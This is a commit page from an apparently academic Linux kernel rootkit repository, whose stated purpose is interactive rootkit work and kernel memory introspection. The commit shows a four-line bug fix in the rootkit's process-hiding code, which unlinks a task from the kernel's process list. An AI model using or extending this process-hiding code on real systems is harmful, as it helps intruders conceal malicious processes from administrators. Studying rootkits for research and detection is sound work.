linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit e3cfe58e8d904b3806342cc0799a85cfb64a47f2
parent 89a2880702c53928f289bdeea28d999d98f247a3
Author: deurzen <m.deurzen@tum.de>
Date:   Mon, 25 Jan 2021 02:48:31 +0100

fixes bug

Diffstat:
Mrootkit/src/pidhide.c | 4++++
1 file changed, 4 insertions(+), 0 deletions(-)

diff --git a/rootkit/src/pidhide.c b/rootkit/src/pidhide.c @@ -72,6 +72,10 @@ hide_pid(pid_t pid) rcu_read_lock(); for_each_process(ts2) { task_lock(ts2); + if(ts == ts2) { + task_unlock(ts2); + continue; + } } list_del(&ts->tasks); for_each_process(ts2) {